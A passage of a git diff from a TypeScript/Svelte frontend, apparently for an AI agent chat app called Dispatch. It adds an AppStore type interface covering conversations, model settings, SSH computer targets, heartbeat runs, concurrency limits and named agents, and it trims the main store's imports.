+ },
+ };
+}
diff --git a/src/app/store-types.ts b/src/app/store-types.ts
new file mode 100644
index 0000000..774d041
--- /dev/null
+++ b/src/app/store-types.ts
@@ -0,0 +1,610 @@
+import type {
+ CompactResponse,
+ ComputerStatusResponse,
+ LspStatusResponse,
+ McpStatusResponse,
+ ModelMetadata,
+ ReasoningEffort,
+ SystemPromptVariable,
+ TestComputerResponse,
+ WarmResponse,
+} from "@dispatch/transport-contract";
+import type { SurfaceSpec } from "@dispatch/ui-contract";
+import type { ComputerEntry, ConversationStatus, ImageInput } from "@dispatch/wire";
+import type { WebSocketLike } from "../adapters/ws";
+import type { ProtocolState } from "../core/protocol";
+import type {
+ AccountUsageProviderId,
+ AccountUsageResult,
+ AccountUsageSettingsResult,
+ UpdateAccountUsageSettingsRequest,
+} from "../features/account-usage";
+import type { ChatStore } from "../features/chat";
+import type {
+ ConcurrencyCooldownResult,
+ ConcurrencyDeleteResult,
+ ConcurrencyLimitResult,
+ ConcurrencyLimitsResult,
+ ConcurrencyStatusResult,
+} from "../features/concurrency";
+import type {
+ HeartbeatConfigPatch,
+ HeartbeatConfigResult,
+ HeartbeatNextRunResult,
+ HeartbeatRunsResult,
+ HeartbeatStopResult,
+} from "../features/heartbeat";
+import type { LayoutStore } from "../features/layout";
+import type {
+ NamedAgent,
+ NamedAgentDeleteResult,
+ NamedAgentInput,
+ NamedAgentSaveResult,
+ NamedAgentSelectionSnapshot,
+ NamedAgentsResult,
+} from "../features/named-agents";
+import type { PluginsStore } from "../features/plugins";
+import type { SearchBackendConfigResult } from "../features/search-settings";
+import type { Tab } from "../features/tabs";
+import type { VisionSettings, VisionSettingsPatch } from "../features/vision";
+import type { TileLayoutStore } from "../features/workspaces";
+
+/** Outcome of a manual `POST /chat/warm` (the "warm now" affordance). */
+export type WarmResult =
+ | { readonly ok: true; readonly response: WarmResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/cwd`. */
+export type CwdResult =
+ | { readonly ok: true; readonly cwd: string | null }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/computer` (set/clear the per-conversation computer). */
+export type ComputerResult =
+ | { readonly ok: true; readonly computerId: string | null }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /computers/:alias/status` (the live connection state). */
+export type ComputerStatusResult =
+ | { readonly ok: true; readonly response: ComputerStatusResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `POST /computers/:alias/test` (one-shot connectivity probe). */
+export type TestComputerResult =
+ | { readonly ok: true; readonly response: TestComputerResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /conversations/:id/lsp`. */
+export type LspResult =
+ | { readonly ok: true; readonly response: LspStatusResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /conversations/:id/mcp`. */
+export type McpResult =
+ | { readonly ok: true; readonly response: McpStatusResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/reasoning-effort`. */
+export type ReasoningEffortResult =
+ | { readonly ok: true; readonly reasoningEffort: ReasoningEffort }
+ | { readonly ok: false; readonly error: string };
+
+/**
+ * Outcome of `PUT /conversations/:id/thinking` (PROPOSED — see
+ * `backend-handoff.md`; the endpoint is not yet shipped by the backend).
+ */
+export type ThinkingResult =
+ | { readonly ok: true; readonly thinking: boolean }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `POST /conversations/:id/compact` (manual compaction). */
+export type CompactResult =
+ | { readonly ok: true; readonly response: CompactResponse }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /conversations/:id/compact-percent`. */
+export type CompactPercentResult =
+ | { readonly ok: true; readonly percent: number }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /settings/vision` (global vision-settings save). */
+export type VisionSettingsResult =
+ | { readonly ok: true; readonly settings: VisionSettings }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `GET /system-prompt` (global template load). */
+export type SystemPromptLoadResult =
+ | { readonly ok: true; readonly template: string }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of `PUT /system-prompt` (global template save). */
+export type SystemPromptSaveResult = SystemPromptLoadResult;
+
+/** Outcome of `GET /system-prompt/variables` (variable catalog). */
+export type SystemPromptVariablesResult =
+ | { readonly ok: true; readonly variables: readonly SystemPromptVariable[] }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of persisting a chat-limit setting (localStorage; FE-local). */
+export type ChatLimitResult =
+ | { readonly ok: true; readonly chatLimit: number }
+ | { readonly ok: false; readonly error: string };
+
+export interface AppStore {
+ readonly tabs: readonly Tab[];
+ readonly activeConversationId: string | null;
+ /** The workspace currently in view (URL slug); tabs are filtered to it. */
+ readonly activeWorkspaceId: string;
+ /**
+ * The resolved HTTP API base URL (e.g. `http://localhost:24203`). Used to
+ * resolve relative image URLs served by the backend (`/images/…`) into
+ * absolute URLs for `<img src>`.
+ */
+ readonly httpBase: string;
+ readonly activeChat: ChatStore;
+ readonly models: readonly string[];
+ /** Per-model metadata (contextWindow, etc.) from `GET /models`. */
+ readonly modelInfo: Readonly<Record<string, ModelMetadata>>;
+ readonly activeModel: string;
+ readonly catalog: ProtocolState["catalog"];
+ /** Every received surface spec, in catalog order — all auto-subscribed + expanded. */
+ readonly surfaces: readonly SurfaceSpec[];
+ readonly lastError: ProtocolState["lastError"];
+ /** The localStorage instance the store uses for persistence (tabs, chatLimit).
+ * Exposed so the shell can persist sidebar layout via the same adapter. */
+ readonly storage: Storage | undefined;
+ /**
+ * The current spec by id, or null if absent. With conversationId, require a
+ * snapshot received for that conversation (not a retained prior-scope spec).
+ */
+ surface(surfaceId: string, conversationId?: string): SurfaceSpec | null;
+ /**
+ * Send a user message (start a turn). Forwards any staged `images`
+ * (`ImageInput[]` — base64 data URLs / https URLs) on the `chat.send` op;
+ * the server passes them to a vision-capable model natively or transcribes
+ * them via vision handoff for a non-vision model. Omitted on the wire when
+ * none are staged. On a draft, promotes to a tab first.
+ */
+ send(text: string, images?: readonly ImageInput[]): void;
+ /**
+ * Enqueue a steering message onto the focused conversation's queue
+ * (`chat.queue` WS op). While a turn is generating, the message is delivered
+ * mid-turn at the next tool-result boundary; when idle, the server
+ * auto-starts a turn (equivalent to `send`). Safe to offer whenever the user
+ * wants to add input — the server owns the idle-vs-generating decision.
+ */
+ queueMessage(text: string, images?: readonly ImageInput[]): void;
+ /**
+ * Cancel (remove) a single queued steering message by id so it never runs
+ * (`chat.queue.cancel` WS op). Fire-and-forget + idempotent: the
+ * message-queue surface update reconciles the queue UI (the cancelled message
+ * leaves the snapshot). Targets the focused conversation's queue. The caller
+ * optimistically hides the row; a cancel of an already-drained / unknown
+ * message is a silent server no-op (nothing to roll back).
+ */
+ cancelQueuedMessage(messageId: string): void;
+ /** Select a raw model for the active conversation. Pass `snapshot` to record a Named Agent selection (plan §7). */
+ selectModel(model: string, snapshot?: NamedAgentSelectionSnapshot): void;
+ newDraft(): void;
+ /** Switch the active workspace (on route change) + reset to a fresh draft in it. */
+ setActiveWorkspace(workspaceId: string): void;
+ selectTab(conversationId: string): void;
+ closeTab(conversationId: string): void;
+ renameTab(conversationId: string, title: string): void;
+ /**
+ * Move a tab into a subagent group (the tab group parent's id) or out of
+ * any group (null). Purely presentational (NOT lineage): applied
+ * optimistically, persisted via `PUT /conversations/:id/tab-group` (synced
+ * to other clients by `conversation.tabGroupChanged`), reverted on failure.
+ */
+ setTabGroup(conversationId: string, parentId: string | null): void;
+ invoke(surfaceId: string, actionId: string, payload?: unknown): void;
+ /**
+ * Explicitly (re-)subscribe one surface, scoped to `conversationId` (or the
+ * focused conversation when absent) — the frontend-plugin ABI's
+ * `surfaces.subscribe` path (plan 03). The app auto-subscribes every
+ * catalog entry; this is the re-assertion port (same wire semantics).
+ */
+ subscribeSurface(surfaceId: string, conversationId?: string): void;
+ /** Drop one surface's subscription (the ABI's `surfaces.unsubscribe`). */
+ unsubscribeSurface(surfaceId: string, conversationId?: string): void;
+ /**
+ * Manually warm the focused conversation's prompt cache (`POST /chat/warm`).
+ * Returns null when no conversation is focused (a draft has nothing to warm).
+ */
+ warmNow(): Promise<WarmResult | null>;
+ /** The workspace conversation's persisted working directory, or null when unset. */
+ readonly cwd: string | null;
+ /** The conversation workspace settings target: the active tab, or the pending draft's id. */
+ readonly currentConversationId: string;
+ /**
+ * Set the workspace conversation's working directory (`PUT /conversations/:id/cwd`).
+ * Works for a draft too (its id survives promotion), so the first turn runs in it.
+ */
+ setCwd(cwd: string): Promise<CwdResult | null>;
+ /**
+ * The workspace conversation's persisted computer (an SSH `Host` alias), or
+ * null when never set / local. Seeded from the backend on focus change.
+ */
+ readonly computerId: string | null;
+ /**
+ * Persist the workspace conversation's computer (`PUT /conversations/:id/computer`).
+ * Pass null to clear → the conversation inherits the workspace default → local.
+ * Works for a draft too (its id survives promotion). Not seen by the agent — a
+ * user-facing tool-execution target only.
+ */
+ setComputer(computerId: string | null): Promise<ComputerResult | null>;
+ /**
+ * Every remote computer discovered from the user's `~/.ssh/config`
+ * (`GET /computers`), fetched on boot. Read-only — there is no Computer CRUD
+ * (the user edits their ssh config to add one). Empty until the `ssh`
+ * extension lands.
+ */
+ readonly computers: readonly ComputerEntry[];
+ /**
+ * The live connection state of a computer (`GET /computers/:alias/status`):
+ * whether Dispatch currently holds an open SSH session to it. Returns null
+ * only if no alias is given (the focused conversation is local). Polled by the
+ * `ComputerField` while a computer is selected.
+ */
+ computerStatus(alias: string): Promise<ComputerStatusResult | null>;
+ /**
+ * One-shot connectivity probe (`POST /computers/:alias/test`): Dispatch opens
+ * an SSH connection to the alias, runs a trivial command, then closes. `ok` is
+ * true on success; `error` carries the failure reason otherwise.
+ */
+ testComputer(alias: string): Promise<TestComputerResult | null>;
+ /**
+ * The workspace conversation's persisted reasoning effort, or null when never
+ * set (the server then resolves turns at the default, `"high"`).
+ */
+ readonly reasoningEffort: ReasoningEffort | null;
+ /**
+ * Persist the workspace conversation's reasoning effort
+ * (`PUT /conversations/:id/reasoning-effort`). Works for a draft too (its id
+ * survives promotion), so the first turn already runs at the chosen level.
+ * Takes effect from the NEXT turn; resolution stays server-owned.
+ */
+ setReasoningEffort(level: ReasoningEffort): Promise<ReasoningEffortResult | null>;
+ /**
+ * The workspace conversation's persisted thinking flag, or null when never
+ * set (the server then resolves turns with thinking ON — the default).
+ * `false` ⇒ thinking disabled entirely (the SEPARATE "off" axis — NOT a
+ * zero-effort level; the umans route maps it to `reasoning_effort: "none"`).
+ * PROPOSED backend contract — see `backend-handoff.md`.
+ */
+ readonly thinking: boolean | null;
+ /**
+ * Persist the workspace conversation's thinking flag
+ * (`PUT /conversations/:id/thinking`). Works for a draft too (its id survives
+ * promotion), so the first turn already runs with the chosen setting. Takes
+ * effect from the NEXT turn; resolution stays server-owned.
+ * PROPOSED backend contract — see `backend-handoff.md`.
+ */
+ setThinking(enabled: boolean): Promise<ThinkingResult | null>;
+ /**
+ * Manually trigger conversation compaction (`POST /conversations/:id/compact`).
+ * Summarizes old messages + retains the most recent N. Returns null when no
+ * conversation is focused (a draft has nothing to compact).
+ */
+ compactNow(keepLastN?: number): Promise<CompactResult | null>;
+ /**
+ * Stop an in-flight generation (`POST /conversations/:id/stop`). Aborts the
+ * turn without closing the conversation — partial messages are persisted, the
+ * turn seals with `reason: "aborted"`, and the conversation goes `active → idle`.
+ * Returns null when no conversation is focused.
+ */
+ stopGeneration(): void;
+ /**
+ * The workspace conversation's auto-compact percent (0-100). `0` = disabled
+ * (manual only); a positive number = auto-compact triggers when the last
+ * turn's input tokens exceed it. Seeded from the backend on focus change.
+ */
+ readonly compactPercent: number | null;
+ /**
+ * Persist the workspace conversation's auto-compact percent
+ * (`PUT /conversations/:id/compact-percent`). `0` disables; 1-100 sets the
+ * trigger percentage of the model's context window. Default (null) is 85.
+ * number enables. Works for a draft too (its id survives promotion).
+ */
+ setCompactPercent(percent: number): Promise<CompactPercentResult | null>;
+ /**
+ * The GLOBAL vision settings (`GET /settings/vision`): `imageLimit` (max
+ * native images per turn before compaction; 0 = disabled) + `compactionModel`
+ * (which vision model transcribes old images; null = auto). Shared across all
+ * conversations. Seeded on boot; `null` = not yet fetched.
+ */
+ readonly visionSettings: VisionSettings | null;
+ /**
+ * Refetch the global vision settings (`GET /settings/vision`). Called by the
+ * vision-settings view on mount; also seeded on boot.
+ */
+ refreshVisionSettings(): Promise<void>;
+ /**
+ * Save a PARTIAL vision-settings update (`PUT /settings/vision`). Either
+ * field may be omitted. Returns the merged settings on success.
+ */
+ setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null>;
+ /**
+ * Fetch the workspace conversation's language-server status (`GET /conversations/:id/lsp`).
+ * The backend lazily spawns servers, so this may take a moment on the first call for a cwd.
+ */
+ lspStatus(): Promise<LspResult | null>;
+ /**
+ * Fetch the workspace conversation's MCP server status (`GET /conversations/:id/mcp`).
+ * Mirrors the LSP status endpoint: returns `{cwd, servers}` with empty `servers`
+ * when no cwd is set; the backend lazily connects servers, so this may take a
+ * moment on the first call for a cwd.
+ */
+ mcpStatus(): Promise<McpResult | null>;
+ /**
+ * Load the global system prompt template (`GET /system-prompt`). The template is
+ * conversation-agnostic; it is resolved once per conversation on first turn and
+ * persisted for prompt-cache safety.
+ */
+ loadSystemPrompt(): Promise<SystemPromptLoadResult>;
+ /**
+ * Persist the global system prompt template (`PUT /system-prompt`). Changes apply
+ * to new conversations on their first turn; existing conversations keep their
+ * resolved system prompt until compaction.
+ */
+ setSystemPrompt(template: string): Promise<SystemPromptSaveResult>;
+ /**
+ * Load the static catalog of available system prompt variables (`GET /system-prompt/variables`).
+ * Used by the builder to render the variable selector buttons.
+ */
+ loadSystemPromptVariables(): Promise<SystemPromptVariablesResult>;
+ /** The persisted chat limit (max loaded chunks per conversation). */
+ readonly chatLimit: number;
+ /**
+ * A conversation's backend lifecycle status (`active`/`idle`/`closed`), or
+ * `undefined` when unknown. Drives the tab-bar generating indicator
+ * (cross-device: a tab spinning because another device's turn is running).
+ */
+ conversationStatus(conversationId: string): ConversationStatus | undefined;
+ /**
+ * Whether at least one conversation in the given workspace is currently
+ * active or queued (generating / waiting for a concurrency slot) — drives
+ * the loading-dots indicator on workspace cards. Backed by a once-derived
+ * `activeWorkspaces` set (the open-tab set × the backend lifecycle statuses)
+ * so this is an O(1) lookup, not a per-card scan of the full tab list.
+ * Reactive: the set is a `$derived`, so a Svelte template expression calling
+ * this re-runs when the tab set or status map changes.
+ */
+ workspaceHasActiveConversations(workspaceId: string): boolean;
+ /**
+ * Persist + live-apply a new chat limit: writes `dispatch.chatLimit` to
+ * localStorage and propagates to every live chat store (trim if lower,
+ * deferred via the unload gate while a reader is scrolled up; no-op if
+ * higher — page unloaded history back in via "Show earlier"). Stores created
+ * afterwards pick the new limit up at creation. Always succeeds (FE-local).
+ */
+ setChatLimit(limit: number): Promise<ChatLimitResult>;
+ /**
+ * Wire the chat-limit unload gate (composition-root injection, called once by
+ * the shell after it owns the scroll region): unloading old chunks is allowed
+ * only while the gate returns true — i.e. the reader is stuck to the bottom —
+ * so a trim never yanks content out from under someone reading history.
+ * Before attachment unloading is allowed (the initial view starts at the
+ * bottom).
+ */
+ attachUnloadGate(gate: () => boolean): void;
+ /**
+ * Load the active workspace's heartbeat config
+ * (`GET /workspaces/:id/heartbeat`). Workspace-scoped (NOT per-conversation):
+ * the backend runs an autonomous agent loop on a configured interval, writing
+ * each run into a dedicated conversation. The config covers the system/task
+ * prompts, model, reasoning effort, interval, and an enabled flag.
+ */
+ heartbeatConfig(): Promise<HeartbeatConfigResult>;
+ /**
+ * Persist a partial heartbeat config patch
+ * (`PUT /workspaces/:id/heartbeat`). The backend merges the patch onto the
+ * stored config; returns the full updated config.
+ */
+ setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult>;
+ /**
+ * Load the active workspace's heartbeat run history
+ * (`GET /workspaces/:id/heartbeat/runs`). Each run references the conversation
+ * it wrote to — open one via {@link watchConversation} to see its chat live.
+ */
+ heartbeatRuns(): Promise<HeartbeatRunsResult>;
+ /**
+ * Stop a running heartbeat run (`POST /workspaces/:id/heartbeat/runs/:runId/stop`).
+ * The run's in-flight turn seals (its conversation keeps streaming until it
+ * ends); the run's status flips to `stopped` (visible on the next runs poll).
+ */
+ stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult>;
+ /**
+ * Fetch the server-authoritative next-run timestamp
+ * (`GET /workspaces/:id/heartbeat/next-run`) — when the next heartbeat run
+ * will fire (ISO 8601), or null when disabled / no run scheduled. The FE shows
+ * a live countdown from this. When the endpoint is absent (404 — backend
+ * hasn't shipped CR-HB-3 yet) it returns `ok: false` so the FE falls back to
+ * an approximation from the runs + config.
+ */
+ heartbeatNextRun(): Promise<HeartbeatNextRunResult>;
+ /**
+ * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
+ * modal): ensures a live {@link ChatStore} for the conversation, subscribing
+ * to its turn stream (`chat.subscribe`) + loading history. Reuses the open
+ * tab's store if the conversation is already a tab; otherwise creates an
+ * EPHEMERAL watch store (separate from tabs — never opens a tab). Deltas are
+ * routed to it automatically. Pair every open with {@link unwatchConversation}
+ * on close to unsubscribe + dispose the ephemeral store.
+ */
+ watchConversation(conversationId: string): ChatStore;
+ /** Dispose + unsubscribe a watch opened by {@link watchConversation}. */
+ unwatchConversation(conversationId: string): void;
+ /**
+ * Load all configured per-provider concurrency limits
+ * (`GET /concurrency/limits`). Global (not workspace-scoped). Returns an empty
+ * list when the concurrency extension isn't loaded (`{ limits: [] }`).
+ */
+ concurrencyLimits(): Promise<ConcurrencyLimitsResult>;
+ /**
+ * Fetch the configured limit for one provider
+ * (`GET /concurrency/limits/:providerId`). `404` (no limit configured) and
+ * `503` (extension not loaded) both surface as `ok: false`.
+ */
+ getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult>;
+ /**
+ * Set or update a provider's concurrency limit
+ * (`PUT /concurrency/limits/:providerId`, body `{ limit }`). `limit` must be a
+ * positive integer (a non-positive body is `400`). At the cap, further requests
+ * queue oldest-agent-first rather than being sent immediately.
+ */
+ setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult>;
+ /**
+ * Remove a provider's concurrency limit (`DELETE /concurrency/limits/:providerId`),
+ * making it unlimited. `404` (not configured) and `503` (extension not loaded)
+ * both surface as `ok: false`.
+ */
+ deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult>;
+ /**
+ * Fetch live concurrency status for every provider with a configured limit
+ * (`GET /concurrency/status`): in-flight slots held, agents queued, and a paused
+ * state with a `pausedUntil` epoch-ms when a 429 backoff is in effect. Each
+ * entry also carries the per-slot release `cooldownMs` + an `autoReduced` flag
+ * (true when a 429 auto-reduced the limit by 1; the FE renders a banner). Returns
+ * an empty list when the extension isn't loaded (`{ providers: [] }`).
+ */
+ concurrencyStatus(): Promise<ConcurrencyStatusResult>;
+ /**
+ * Load Claude + Codex subscription usage (`GET /usage`). Served from the
+ * backend's cache (5 min TTL); `refresh: true` sends `?refresh=1`, which the
+ * server still rate-limits (min interval + failure cooldown). A 503 (the
+ * `account-usage` extension isn't loaded) returns `unavailable: true`.
+ */
+ accountUsage(opts?: { readonly refresh?: boolean }): Promise<AccountUsageResult>;
+ /**
+ * Update a provider's usage settings (`PUT /usage/:provider/settings`; today
+ * only `hyper`: `dailyAllowance` + `resetAnchor` epoch-ms or null). Returns
+ * the provider's refreshed report.
+ */
+ setAccountUsageSettings(
+ provider: AccountUsageProviderId,
+ settings: UpdateAccountUsageSettingsRequest,
+ ): Promise<AccountUsageSettingsResult>;
+ /**
+ * Load the GLOBAL search-backend selection
+ * (`GET /search/config`): which engine backs the `web_search` tool's search
+ * mode. Not workspace-scoped — the selection is global. `unavailable: true`
+ * on the failure variant marks the 503 degrade (the backend's
+ * search-config service not loaded) so the UI can disable the field.
+ */
+ searchBackendConfig(): Promise<SearchBackendConfigResult>;
+ /**
+ * Persist a new search-backend selection
+ * (`PUT /search/config`, body `{ backend }`). `400` (unknown/unconfigured
+ * backend) and `503` (service not loaded) both surface as `ok: false`.
+ */
+ setSearchBackend(backend: string): Promise<SearchBackendConfigResult>;
+ /**
+ * Fetch the per-slot release cooldown (ms) for one provider
+ * (`GET /concurrency/cooldown/:providerId`). `404` (no concurrency config at
+ * all) and `503` (extension not loaded) both surface as `ok: false`.
+ */
+ getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult>;
+ /**
+ * Set the per-slot release cooldown (ms) for one provider
+ * (`PUT /concurrency/cooldown/:providerId`, body `{ cooldownMs }`). `cooldownMs`
+ * must be a non-negative integer (0 = no cooldown / instant re-admission); an
+ * invalid body is `400`. Persists + applies to subsequently recycled slots.
+ */
+ setConcurrencyCooldown(
+ providerId: string,
+ cooldownMs: number,
+ ): Promise<ConcurrencyCooldownResult>;
+ /**
+ * A critical error that blocks normal operation (e.g. the cross-device tab
+ * restore fetch failed). When non-null, a full-screen modal is shown with the
+ * error details. Cleared by `clearFatalError` (the modal's dismiss button).
+ */
+ readonly fatalError: string | null;
+ /** Dismiss the fatal error (called by the error modal's X button). */
+ clearFatalError(): void;
+ // ── Named Agents (global config; plan §9) ──────────────────────────────────
+ /**
+ * The persisted Named Agents (from `GET /named-agents`). Global user config
+ * (not per-workspace); seeded on boot. Drives the sidebar editor AND the
+ * synthetic "Named Agents" provider in the model selector (plan §6).
+ */
+ readonly namedAgents: readonly NamedAgent[];
+ /**
+ * The active conversation's Named Agent selection snapshot (plan §7), or null
+ * when it was selected via a raw model. Survives the Named Agent being renamed
+ * / removed (the snapshot retains the friendly label + captured raw model).
+ */
+ readonly namedAgentSnapshot: NamedAgentSelectionSnapshot | null;
+ /** Refetch the Named Agents (`GET /named-agents`). */
+ refreshNamedAgents(): Promise<NamedAgentsResult>;
+ // ── Plugins (plan 07) ──────────────────────────────────────────────────────
+ /**
+ * The plugin manager + per-workspace enablement store (one instance per
+ * app store). The workspaces page's manager/modal read + mutate through
+ * it; the app store feeds its `onExtensionsChanged` hook.
+ */
+ readonly plugins: PluginsStore;
+ /**
+ * The ACTIVE workspace's tile tree (plan 02): served by the backend's
+ * layout provider when one is active, the local default otherwise. The
+ * shell reads `tree` for the renderer and feeds edits back through
+ * `onTreeChange` (debounced PUT + rollback); the store owns the probes,
+ * the WS-push filter, and the no-provider degrade.
+ */
+ readonly layout: LayoutStore;
+ /**
+ * The home grid's synced tile layout (ONE shared document per device
+ * orientation — `wide` = landscape/desktop, `tall` = portrait/mobile),
+ * served by the backend's home-tile-layout plugin. The home page locks the
+ * active orientation to the resolved grid geometry; this store owns the
+ * probes, the WS-push filter, the debounced PUT + rollback, and the
+ * offline degrade.
+ */
+ readonly tileLayout: TileLayoutStore;
+ /**
+ * Loaded provider-tier plugins effectively enabled in the ACTIVE workspace
+ * (`GET /workspaces/:id/plugins/providers-status`). `null` = unknown — the
+ * first-boot guardrail renders only on a confident `0` (§7).
+ */
+ readonly enabledProviderCount: number | null;
+ /**
+ * Create a Named Agent (`POST /named-agents`). On success the store's
+ * `namedAgents` list is updated (append/replace) so every consumer — the
+ * sidebar editor AND the model selector — reflects it without a reload.
+ */
+ createNamedAgent(input: NamedAgentInput): Promise<NamedAgentSaveResult>;
+ /**
+ * Update a Named Agent (`PUT /named-agents/:id`). On success the store list is
+ * updated in place. Returns the canonical saved record.
+ */
+ updateNamedAgent(id: string, input: NamedAgentInput): Promise<NamedAgentSaveResult>;
+ /**
+ * Remove a Named Agent (`DELETE /named-agents/:id`). On success it leaves the
+ * store list immediately (removing it from the sidebar + model selector), and
+ * does NOT alter conversations that previously selected it (those keep their
+ * snapshot — plan §7).
+ */
+ deleteNamedAgent(id: string): Promise<NamedAgentDeleteResult>;
+ dispose(): void;
+}
+
+export interface CreateAppStoreOptions {
+ url?: string;
+ httpUrl?: string;
+ socketFactory?: (url: string) => WebSocketLike;
+ fetchImpl?: typeof fetch;
+ indexedDB?: IDBFactory;
+ conversationId?: string;
+ localStorage?: Storage;
+ /** The workspace to scope to at boot (its URL slug); "default" if absent. */
+ workspaceId?: string;
+ /**
+ * How live chat events are batched before folding into a chat store.
+ * Default: once per animation frame (with a timeout fallback for hidden
+ * tabs). `null` = fold every event synchronously (tests that assert on the
+ * transcript immediately after feeding a frame).
+ */
+ chatFlushScheduler?: ((flush: () => void) => void) | null;
+}
diff --git a/src/app/store.svelte.ts b/src/app/store.svelte.ts
index a3bc226..fa12036 100644
--- a/src/app/store.svelte.ts
+++ b/src/app/store.svelte.ts
@@ -1,99 +1,19 @@
import type {
- ChatDeltaMessage,
- ChatErrorMessage,
- CompactPercentResponse,
- CompactResponse,
- ComputerListResponse,
- ComputerStatusResponse,
- ConversationCompactedMessage,
- ConversationComputerResponse,
- ConversationHistoryResponse,
- ConversationListResponse,
- ConversationMetricsResponse,
- ConversationOpenMessage,
- ConversationStatusChangedMessage,
- ConversationTabGroupChangedMessage,
- CwdResponse,
- ExtensionsChangedMessage,
- LayoutChangedMessage,
- LspStatusResponse,
- McpStatusResponse,
ModelMetadata,
ModelResponse,
- ModelsResponse,
ReasoningEffort,
- ReasoningEffortResponse,
- SetCompactPercentRequest,
- SetConversationComputerRequest,
- SetCwdRequest,
SetModelRequest,
- SetReasoningEffortRequest,
- SetSystemPromptTemplateRequest,
- SetTabGroupRequest,
- SetTitleRequest,
- SetVisionSettingsRequest,
- SystemPromptTemplateResponse,
- SystemPromptVariable,
- SystemPromptVariablesResponse,
- TabGroupResponse,
- TestComputerResponse,
- TileLayoutChangedMessage,
- WarmRequest,
- WarmResponse,
WorkspaceSetMessage,
} from "@dispatch/transport-contract";
-import type { SubscribeMessage, SurfaceServerMessage, SurfaceSpec } from "@dispatch/ui-contract";
+import type { SurfaceSpec } from "@dispatch/ui-contract";
import type { ComputerEntry, ConversationStatus, ImageInput } from "@dispatch/wire";
-import { untrack } from "svelte";
import { createIdbChunkStore } from "../adapters/idb";
import { createLocalStore } from "../adapters/local-storage";
-import type { WebSocketLike } from "../adapters/ws";
-import { createSurfaceSocket, type SurfaceSocketOptions } from "../adapters/ws";
-import { normalizeChatLimit } from "../core/chunks";
-import {
- applyServerMessage,
- getSurfaceSpec,
- type ProtocolState,
- initialState as protocolInitialState,
- invoke as protocolInvoke,
- subscribe as protocolSubscribe,
- unsubscribe as protocolUnsubscribe,
-} from "../core/protocol";
-import type {
- AccountUsageProviderId,
- AccountUsageResult,
- AccountUsageSettingsResult,
- UpdateAccountUsageSettingsRequest,
-} from "../features/account-usage";
-import { normalizeAccountUsage, normalizeAccountUsageReport } from "../features/account-usage";
-import type { ChatStore, HistorySync, MetricsSync } from "../features/chat";
-import { createChatStore, migrateLegacyModelName } from "../features/chat";
-import type { SetThinkingRequest, ThinkingResponse } from "../features/chat/reasoning-effort";
-import type {
- ConcurrencyCooldownResult,
- ConcurrencyDeleteResult,
- ConcurrencyLimitResult,
- ConcurrencyLimitsResult,
- ConcurrencyStatusResult,
-} from "../features/concurrency";
-import {
- normalizeConcurrencyCooldown,
- normalizeConcurrencyLimit,
- normalizeConcurrencyLimits,
- normalizeConcurrencyStatus,
-} from "../features/concurrency";
-import type { ConversationCache } from "../features/conversation-cache";
+import { createSurfaceSocket } from "../adapters/ws";
+import { getSurfaceSpec } from "../core/protocol";
+import type { ChatStore } from "../features/chat";
+import { migrateLegacyModelName } from "../features/chat";
import { createConversationCache } from "../features/conversation-cache";
-import type {
- HeartbeatConfig,
- HeartbeatConfigPatch,
- HeartbeatConfigResult,
- HeartbeatNextRunResult,
- HeartbeatRun,
- HeartbeatRunsResult,
- HeartbeatStopResult,
-} from "../features/heartbeat";
-import { normalizeHeartbeatConfig, normalizeHeartbeatRuns } from "../features/heartbeat";
import type { LayoutStore } from "../features/layout";
import {
createLayoutAbiPort,
@@ -101,660 +21,62 @@ import {
createLayoutStore,
listPanelViews,
} from "../features/layout";
-import type {
- NamedAgent,
- NamedAgentDeleteResult,
- NamedAgentInput,
- NamedAgentSaveResult,
- NamedAgentSelectionSnapshot,
- NamedAgentsResult,
-} from "../features/named-agents";
-import { normalizeNamedAgentRecord, normalizeNamedAgents } from "../features/named-agents";
+import type { NamedAgent, NamedAgentSelectionSnapshot } from "../features/named-agents";
import type { PluginsStore } from "../features/plugins";
import { createPluginsHttp, createPluginsStore } from "../features/plugins";
-import {
- normalizeSearchBackendConfig,
- type SearchBackendConfigResult,
-} from "../features/search-settings";
import type { Tab, TabsState } from "../features/tabs";
import { createTabsStore, deriveTitle, type TabsStore } from "../features/tabs";
+import type { VisionSettings } from "../features/vision";
import {
- normalizeVisionSettings,
- type VisionSettings,
- type VisionSettingsPatch,
-} from "../features/vision";
-import { createTileLayoutHttp } from "../features/workspaces/adapter/tile-layout-http";
-import type { TileLayoutStore } from "../features/workspaces/tile-layout-store.svelte";
-import { createTileLayoutStore } from "../features/workspaces/tile-layout-store.svelte";
+ createTileLayoutHttp,
+ createTileLayoutStore,
+ geometryFor,
+ type TileLayoutStore,
+} from "../features/workspaces";
+import { createChatRegistry } from "./chat-registry.svelte";
+import { createConversationSettings } from "./conversation-settings.svelte";
+import { createHistorySync, createMetricsSync } from "./history-sync";
+import { createHttpActions } from "./http-actions";
+import { createOpenConversations } from "./open-conversations.svelte";
import { createPluginHost } from "./plugin-host.svelte";
import { resolveHttpUrl } from "./resolve-http-url";
import { resolveWsUrl } from "./resolve-ws-url";
+import { createSettingsRefreshers } from "./settings-refreshers.svelte";
+import type { AppStore, CreateAppStoreOptions } from "./store-types";
+import { createSurfaceProtocol } from "./surface-protocol.svelte";
import { randomId } from "./uuid";
